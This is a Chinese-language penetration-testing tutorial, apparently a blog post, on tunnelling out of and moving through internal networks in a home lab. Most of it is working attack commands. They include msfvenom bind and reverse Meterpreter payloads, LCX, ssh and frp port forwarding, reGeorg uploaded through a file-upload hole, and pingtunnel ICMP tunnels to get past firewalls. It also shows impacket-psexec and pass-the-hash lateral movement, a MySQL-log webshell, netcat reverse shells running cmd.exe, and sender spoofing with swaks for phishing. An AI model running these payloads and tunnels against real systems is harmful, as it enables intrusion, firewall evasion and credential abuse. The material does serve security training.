渗透攻防中常见的20种突破内网 不出网技巧
2026年2月1日 14:00 中国香港
在渗透测试中,在获取目标的公网服务器权限后,我们通常需要通过端口转发或者搭建代理等方式建立内网通道。而在现实情况中,内网环境往往复杂多样,渗透测试人员需要熟练掌握端口转发和代理技术后,才能在内网中穿梭自如(实现横向移动)。
正文共1w字,建议转发+收藏吃灰
本文将详细介绍 20 种常见的内网突破技巧和横向移动的方法。
❝
**💖 温馨提示:**本文一切操作基于本地环境复现,请不要利用文章中的任何技术对未授权的靶标进行渗透测试,这样属于违法行为,如有使用,还请自行承担所造成后果,与智榜样网络安全无关。
一、端口转发和代理
1.1 正向连接和反向连接
在开始介绍端口转发和内网代理前,先补充两个基本概念,正向连接和反向连接。
正向连接
通常是指应用程序执行的时候,本地开启的端口去主动连接目标服务器开启的一个端口。这里只要目标服务器无法访问本地,而本地能访问目标服务器,这个时候就需要使用正向连接,如下图所示:
反向连接
是指对方服务器主动连接我们本地的一个端口,通常两台计算机能够互相访问,同时处于公网或者同时处于内网中。
例如 msf(Metasploit) 中的两种 meterpreter 模块:
第一种,windows/meterpreter/bind_tcp ,bind_tcp 拆解,bind 表示绑定的意思,在渗透测试中通常代表正向,tcp 表示网络传输协议,两者合起来就是正向的 tcp 连接。
第二种,windows/meterpreter/reverse_tcp,同上 reverse 代表反向的意思,这个模块就是反向的 tcp 连接。
听起来很抽象?
我们下面来实操一下。
1.2 MSF实操演示
现在有两台机器
kali攻击机 : 10.10.10.173
windows服务器 :10.10.10.203
1.2.1 正向连接
我们打开kali使用msf生成一个正向连接bind_tcp木马
msfvenom -p windows/meterpreter/bind_tcp LPORT=4444 -f exe -o shell.exe
image-20251226171624110
然后打开msf控制台配置好如下内容
image-20251226214037683
执行如下命令
use multi/handler set payload windows/meterpreter/bind_tcp set RHOST 10.10.10.203
image-20251226214457974
将木马上传到目标机器上去,并执行
image-20251226213718950
执行了木马之后我们再启动监听程序,我们的msf就成功上线了目标机器
image-20251226214550356
这个过程是目标windows机器先在本地开启了一个允许tcp连接的4444端口,然后kali主动去连接windows的4444端口,这就是正向连接,详细图解
image-20251226165732084
1.2.2 反向连接
和上面类似
我们打开kali使用msf生成一个正向连接reverse_tcp木马,这里要添加一个参数,LHOST,也就是攻击机监听地址
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.173 LPORT=4444 -f exe -o shell.exe
image-20251226215147497
msf配置好如下内容
image-20251226215223317
这里要注意,执行如下命令配置好后直接run,启动监听程序
use multi/handler set payload windows/meterpreter/reverse_tcp # 注意是reverse_tcp模块 set LHOST 10.10.10.203 # 注意这里是LHOST而不是RHOST,因为是对方机器主动来连接我们kali攻击机 run
image-20251226215723290
目标机器,执行此文件
image-20251226215751366
msf上线
image-20251226215808473
总结,kali在本地开启了一个允许tcp流量进入的4444端口,然后目标windows机器执行程序,发送tcp流量主动来连接我们的攻击机器
image-20251226170219643
1.2.3 两者对比
通过这两个案例就能看出来,两者的主要区别,是先后顺序,谁连谁?
前者是为了方便演示效果,理解这个正向连接的过程,实际操作中可能先监听,再执行木马也能上线。
1.2 端口转发
什么是端口转发?它一般分为两种
1.2.1 端口转发(Port Forwarding)
它是网络地址转换(NAT)的一种应用,通过端口转发,一个网络端口上收到的数据可以被转发给另一个网络端口。
转发的端口可以是本机的端口,也可以是其他主机或者远程主机的端口。
在真实的渗透环境中,内网会部署各种防火墙和入侵检测的设备,它们会检查敏感端口上的连接情况,如果发现连接的过程中,存在任何问题,就会立即阻断通信,通过端口转发,设置将这个被检测的敏感端口的数据转发到防火墙允许的端口上,这个时候就能建立起一个通信隧道,可以绕过防火墙的检测,并与指定端口进行通信。
1.2.2 端口映射
它也是网络地址转换(NAT)的一种应用,用于把公网的地址翻译成私有地址。
端口映射可以将外网主机收到的请求映射到内网主机上,使得没有公网IP地址的内网主机能够对外提供相应的服务,这就类似于内网穿透的功能的一种。
1.2.3 实操复现
在开始之前,介绍一下常见的端口转发工具:
LCX,ssh,frp,这三款工具是常见的内网穿透、端口转发、端口映射工具,广泛应用于渗透测试的场景中。
1.2.3.1 LCX端口转发
本地端口转发
假设此时已经获得了一台Windows机器的控制权,并且可以使用远程连接3389端口,但是防火墙对3389端口做了一定的限制,不让我们连接。
那么这个时候我们就能通过端口转发,将3389端口的流量转发到其他端口上,比如4444端口。
执行如下命令:
lcx.exe -S tran -l 4444 -f 127.0.0.1 -g 3389
image-20251227152522318
转发成功后我们打开windows自带的远程连接工具,连接此端口
image-20251227152556897
验证是否连接成功,答案为连接成功
image-20251227152620431
远程端口转发
例如现在有一台linux服务器,我需要通过windows机器的4444端口连接linux服务器的22端口
lcx.exe -S tran -l 4444 -f 10.10.10.173 -g 22
另一台机器连接此windows机器的4444端口,就等同于连接了linux服务器(kali)
ssh root@10.10.10.202 -p 4444
image-20251227154050168
利用远程端口转发,可以实现内网穿透
1.2.3.2 ssh端口转发
现在有三台机器
1、windows本机 10.10.10.1
2、kali 10.10.10.173
3、目标windows机器 10.10.10.202
用同样的3389远程服务来演示ssh的端口转发,最终连接到目标windows机器10.10.10.202
我们使用如下命令,使用kali连接kali,自己连自己
ssh -CfNg -L 4444:10.10.10.202:3389 root@10.10.10.173
image-20251227192847557
此时kali会将自己的4444端口流量转发到目标机器10.10.10.202的3389端口
此时我们就能通过kali的4444端口,来连接10.10.10.202这台windows机器,常常用在内网横向移动中
image-20251227193041278
image-20251227193113170
1.3 SOCKS 代理
SOCKS代理全称为Protocol For Sessions Traversal Across Firewall Securely,是一种代理协议,其标准的端口为1080端口。它主要有两个版本,一个是SOCKS5一个是SOCKS4。
主要区别?
SOCKS4只支持TCP,而SOCKS5在SOCKS4的基础上,增加了UDP和各种身份验证机制等协议。
采用SOCKS协议的代理服务器被称为SOCKS服务器。这是一种通用的代理服务器,常用的还有HTTP代理。
在内网渗透中,通过搭建SOCKS5代理,可以与目标主机进行通信,避免多次使用端口转发。
最常见的socks代理工具就是frp,它即可用来端口转发,也可以用来做代理,亦或者反向代理。
1.3.1 FRP内网穿透工具介绍
frp是一个专注于内网穿透的高性能的反向代理应用,支持TCP、UDP、HTTP、HTTPS、SOCKS等协议,可以将内网中的服务,以安全、便捷的方式,通过具有公网IP节点的中转暴露到公网。在进行内网渗透的时候,FRP是非常常用的一种隧道搭建工具。
FRP有windows和linux两个版本,主要包含如下文件
windows
1、frps.exe / frps.ini
2、frpc.exe / frpc.ini
linux
1、frps / frps.ini
2、frpc / frpc.ini
其中ini后缀的文件是配置文件,前者是对应操作系统的执行文件
什么是反向代理?
在理解反向代理之前,需要先了解正向代理。正向代理,就是两台服务器之间,至少有一台能访问对方,或者两台服务器能互相访问,这个时候其中一台计算机就能开启socks代理,另一台机器来连接这台socks代理的服务器,用它的网络来上网。
在渗透测试过程中,一般是用对方的公网服务器作为代理服务器,打对方内网服务器,因为你的服务器,通过直接访问的方式,无法访问到对方的内网服务器,而你需要利用代理,将对方的公网服务器作为跳板机,这样就能访问到对方内网服务器了。
环境配置,frp服务器正向代理配置,假设现在kali有两张网卡。
一张是模拟公网的网卡,ip为10.10.10.173,第二张是内网网卡,ip为192.168.227.129
image-20251227212546417
在这个内网中,还有一台windows机器
image-20251227212902975
这台内网机器,搭建了一个web服务(DVWA靶场)
image-20251227215622328
这个时候我们就能总结出一个攻击路线图(此处的kali内网服务器,就是代表着kali内网中的windows机器)
image-20251227213428879
由上图可以看到,kali内网中的服务器无法直接访问攻击机器,而攻击机器可以通过kali公网服务器搭建socks代理将其作为跳板机,从而间接性的访问到对方的内网服务器。
如何实现?
首先我们配置好frps.ini
[common] bind_port = 7000 bind_addr = 0.0.0.0
image-20251227214721941
以及frpc.ini
[common] server_addr = 10.10.10.173 server_port = 7000 [http_proxy] type = tcp remote_port = 7777 plugin = socks5
image-20251227214741160
kali服务器10.10.10.173开启frp服务端
./frps -c frps.ini
image-20251227214830901
我们本机(攻击机)10.10.10.1作为 frp 客户端去连接服务端
frpc.exe -c frpc.ini
image-20251227214958044
我们使用Zero Omega浏览器代理工具,添加一个代理(代理到kali服务器的7777端口)
image-20251227215402490
来尝试访问对方内网小皮面板搭建的靶场服务192.168.227.128:999,访问成功,SOCKS隧道搭建成功
image-20251227215344311
如果是在kali中,没有浏览器插件,也可以设置为系统代理,或者使用proxychains工具
首先编辑这个proxychains工具的配置文件
vi /etc/proxychains4.conf
image-20251229135330981
image-20251229135505095
随后使用nmap或者其他工具,走代理的流量进行渗透
proxychains nmap -sT -Pn internal_host
反向代理
假设你拿下对方一台内网Web服务器(172.16.1.100:80),但这机器在比上一个正向代理中,还要多一级的网络,在内网的更深处,外面根本连不进来。这时候你想从你的公网VPS直接访问它,怎么办?
传统正向代理思路不行——因为内网机器出不去(可能没出网权限,或者防火墙限制)。
反向代理思路:让内网机器主动向外连接到你的公网VPS,建立一个隧道,把它的80端口“映射”到你的VPS的某个端口上,也就是前面提到的端口转发。
1.3.2 microsocks
这个需要安装一下
sudo apt install microsocks
使用方法
microsocks -1 -i listenip -p port -u user -P password -b bindaddr # 参数绑定 microsocks -b 0.0.0.0 -p 1080 # 不用密码直接用
这里就不作案例的详细介绍了,粗略的文字介绍基本够了
1.3.3 MSF搭建socks代理
在我们获取到一个稳定的meterpreter会话后,我们也可以使用msf搭建socks代理
首先是配置路由,让msf能访问到对方内网
run post/multi/manage/autoroute # 配置路由 run autoroute -p # 查看路由是否配置成功
image-20251230150752169
开始设置代理,使用server/socks_proxy模块
bg # 退出meterpreter,并将当前会话保存 use auxiliary/server/socks_proxy set VERSION 5 set SRVPORT 1080 run -j
image-20251230150737655
设置好代理配置文件
vi /etc/proxychains4.conf
image-20251230150854897
使用代理工具proxychains访问对方内网,访问成功
proxychains curl http://192.168.227.131
image-20251230151007420
小结:除了以上的几种代理工具外,还有更多的代理工具,比如vshell C2工具,就不做介绍了,后续的实战案例会提出
1.4 HTTP代理
常用的HTTP代理工具有reGeorg和Proxifier。
reGeorg 是一种用于内网穿透的工具,主要通过HTTP/HTTPS隧道将内网服务器端口的数据转发到本地,实现基于HTTP协议的通信。它是reDuh的继承者,利用了会话层的socks5协议。
假设此时有三台机器,kali和win都处于公网下,要通过http代理,访问windows的内网。
kali攻击机:10.10.10.173
windows,web服务器:10.10.10.204
windows内网:192.168.227.128/24
案例
我们通过文件上传漏洞,把reGeorg核心文件tunnel.php上传上去
# 文件地址 http://10.10.10.204:999/hackable/uploads/tunnel.php
image-20251229142210882
他会出现Georg says, 'All seems fine',意思就是一切准备就绪
image-20251229142547279
然后我们使用reGeorg的代理python脚本,连接上去
python2 reGeorgSocksProxy.py -u http://10.10.10.204:999/hackable/uploads/tunnel.php
image-20251229142951107
上图中,它的执行日志中,包含了一个127.0.0.1:8888的代理地址,协议为socks
我们只要使用代理工具,修改成proxychains配置文件改为这个socks地址
vi /etc/proxychains4.conf
image-20251229153826479
使用代理工具访问内网的web服务
proxychains curl http://192.168.227.128
image-20251229153808534
使用windows本机查看内网机器192.168.227.128可以看到和上面的内容一样,隧道搭建成功!
image-20251229154044670
二、ICMP隧道
ICMP隧道利用ICMP流量进行数据传输,比如防火墙不允许TCP协议进行传输数据,那么此时就需要使用ICMP或者其他的协议进行数据传输。
常用的ICMP协议命令就行ping
ping [ip或域名]
image-20251229155717582
案例,我们正常使用msf上线的时候,走的是tcp流量,如果windows机器不能通过tcp协议访问外网或者攻击机,那么正常情况下就无法上线成功。
假设此时 10.10.10.204 这台机器不能浏览器访问外网,或者不能通过浏览器访问你的攻击的服务。
环境配置
image-20251229161352742
正常配置端口信息,在这里选择阻止连接
image-20251229161729489
开启防火墙
image-20251229161933598
尝试访问百度,被提示,您被禁止访问互联网
image-20251229161948582
但是我们能通过ICMP协议的Ping命令,来访问攻击机10.10.10.173
ping 10.10.10.173
image-20251229162122199
反观,10.10.10.204这台windows机器开启了防火墙,我们ping不通它了
image-20251229163856390
假设某一次红队行动中,通过社会工程学,管理员插入了一个你掉地上的U盘给电脑,并且将你U盘的msf马移动到了桌面上,并执行了木马
# 木马生成这里是127.0.0.1,数据流向:Windows木马 → 127.0.0.1:4444 → Pingtunnel客户端 → ICMP隧道 → Kali服务器:8888 → MSF监听器 msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f exe -o shell.exe
image-20251229192914970
image-20251229163125467
这个时候就不能上线msf了(再次Tips:MSF走的流量是TCP协议)
image-20251229163421418
这个时候就需要使用ICMP隧道搭建工具,比如ptunnel 、pingtunnel
这里就介绍pingtunnel工具,至于ptunnel,后面的文章再用
kali 10.10.10.173 开启pingtunnel服务器
./pingtunnel -type server
image-20251229164959651
windows靶机10.10.10.204 连接服务端
pingtunnel.exe -type client -l 127.0.0.1:4444 -s 10.10.10.173 -t 10.10.10.173:4444 -tcp 1
image-20251229164733312
回到kali,可以看到数据传输成功
image-20251229165137919
再次执行木马,msf即可上线成功
image-20251229193750124
我们抓包看看,可以清除的看到10.10.10.173 kali攻击机器和windows机器
image-20251229194109354
三、内网横向移动
3.1 使用PsExec远程执行命令
内网横向移动是通过利用内网中存在的弱口令、未修补漏洞或域账户特权,获取其他内网主机的访问权限,常见的工具利用PsExec,pth-winexe,impacket-psexec等等。
Tips : 此时获取的权限是系统权限(SYSTEM)。
原理:PsExec在目标系统创建随机名称的服务(如sYOI),Windows服务默认以SYSTEM账户运行,因此远程执行的命令可以获得系统最高权限。
在什么情况下不会获得系统权限?
1、管理员_禁止服务以SYSTEM身份运行_
2、管理员_强制服务使用指定账户_
3、管理员_强制所有服务降级运行_
impacket-psexec administrator:P@ssw0rd123@192.168.227.128 cmd.exe
image-20251229200140051
3.2 Pass-the-Hash攻击
是一种无需破解密码即可横向移动的攻击技术,它直接使用密码的哈希值进行身份验证。
它同样也可以使用impacket-psexec进行远程命令执行
比如获取域管理员哈希后,攻击域控
impacket-psexec -hashes :28cfbc91020438f2a064a63fff9871fa domain.com/administrator@192.168.20.20
image-20251029223828035
四、利用内网服务
检查目标主机是否有内网的特定服务,如数据库服务、文件共享服务等等,可以通过这些服务找到绕过网络相关的限制,比如防火墙的绕过。
4.1 数据库服务
在内网中,常见的数据库包含 mysql,MSSQL,Oracle,PostgreSQL 等等,不仅是数据存储中心,也常被用作权限提升和横向移动,比如 mysql 的 UDF 提权,写入文件的配置等等。
假设此时你获得了一个 mysql 的 root 用户权限,有以下几种渗透方法:
1、web存在phpmyadmin,你可以通过写日志文件来获取webshell
查是否具开启日志功能
show variables like "%general%";
image-20251229205546329
设置日志开启,并且将日志文件改为木马程序
set global general_log="on"; set global general_log_file="C:/phpStudy/WWW/shell.php";
image-20251229205752959
找到在 web 中的 shell.php 之后使用 webshell 连接工具连接即可,这个时候就能写入文件,或者查看用户密码。
2、secure_file_priv,当这个值为空的时候(不为 NULL),你只要获得数据库权限(比如使用 hydra 爆破 mysql 密码或其他方法),并且是系统 root 用户,这个时候向外部写入文件,给系统添加计划任务,比如 python 反弹 shell 的脚本,这个时候你都不需要从 web 下手,直接通过计划任务,获取目标服务器控制权。
4.2 利用SMB隧道
SMB隧道利用内网文件共享服务传输数据,使用方法如下
smbclient //192.168.1.100/share -U user
五、邮件、FTP或其他协议
1、邮件
在使用iis配置好邮件服务器后,设置好域名,并允许匿名登录的情况,就可以利用如下方法
伪造邮件来源使用helo参数,通常用来社工钓鱼
swaks --to user@admindomain.com \ --from ceo@admindomain.com \ --server 10.10.10.204 \ --helo www.baidu.com \ --body "Hello Administrator, please change your password."
image-20251229222108127
image-20251229221419449
上面的命令解释为,你伪造了一个当前域内的用户,对这台计算机发送了邮件,并且告诉他你来自百度,百度告诉系统管理员请修改你的密码,以下是邮件详细
image-20251229221439209
2、使用FTP上传或下载文件
在一些服务器中,泄露了ftp的账号密码,或者ftp允许匿名登录的时候可以使用put命令上传文件,get从服务器下载文件
ftp 127.0.0.1 # 然后输入账号密码,如果允许匿名登录,那就是ftp作为用户,密码直接回车不用输入
image-20251229222454505
使用get命令从ftp服务器下载文件
image-20251229222557413
使用put命令在从本地的当前目录上传文件
image-20251229222756219
image-20251229222733877
六、NC
nc不仅可以搭建正向连接的隧道,也能搭建反向连接的隧道,再还可以搭建文件传输的隧道
6.1 nc的正/反向连接
和 msf 的正反向连接相同,相对来讲,我 windows 机器主动连接 kali,那么对于 windows 机器来讲,就是我主动去访问它,这个就是正向连接,如果此时你控制的是 kali,那么对于 windows 机器来讲,windows 机器反向连接 kali 系统,这两者都是相对的,下面介绍常见使用:
正向连接
此时windows作为第一主机器,kali作为靶机
执行命令,把自己的cmd终端移交给kali使用
ncat.exe 10.10.10.173 4444 -e cmd.exe
image-20251230133711486
kali监听连接,接收shell
image-20251230134239121
反向连接
此时kali作为第一主机器,windows作为靶机
kali监听连接,接收shell
image-20251230134239121
开始反弹shell,在这里,正反向连接只是顺序不同
ncat.exe 10.10.10.173 4444 -e cmd.exe
image-20251230133711486
小结,nc的正反向连接,在实战中,一般取决于哪台机器能否正常访问对方机器来决定使用正向连接还是反向连接
6.2 nc传输文件
windows机器是文件的接收方,需要执行如下命令
ncat.exe -l 4444 > user.txt
image-20251230141622169
在kali中选择user.txt作为传输的文件
image-20251230141639868
执行如下命令
nc 10.10.10.1 4444 < user.txt
image-20251230141648882
这下你当前目录下就会出现这个user.txt文件了,说明文件传输成功
image-20251230141816929
查看文件内容是否正确
image-20251230141852369
kali对比
image-20251230141913935
小结,在nc中想要传输文件其实就只需要区别好箭头的顺序,以小编的经验可以这么理解,对如如下命令
nc -l port > file
这里箭头符号是向右边的,这个符号不管在 Windows 还是 Linux 系统中,都属于写入文件(重定向)。
Windows 需要将 nc 监听到的数据写入到一个文件中。nc 实际只是作为一个“隧道工具”,将文件内容以数据的方式传到 Windows 机器中,而 Windows 机器接收到这些数据,将它写入到本地文件中。
相反,下面传输文件也是类似,需要将文件发送给 Windows 机器,箭头当然要指向目标的 IP 啦。
nc ip port < file
六、总结
本文系统的介绍了在内网渗透中的端口转发、隧道搭建、隧道技术以及横向移动等核心技术与实战方法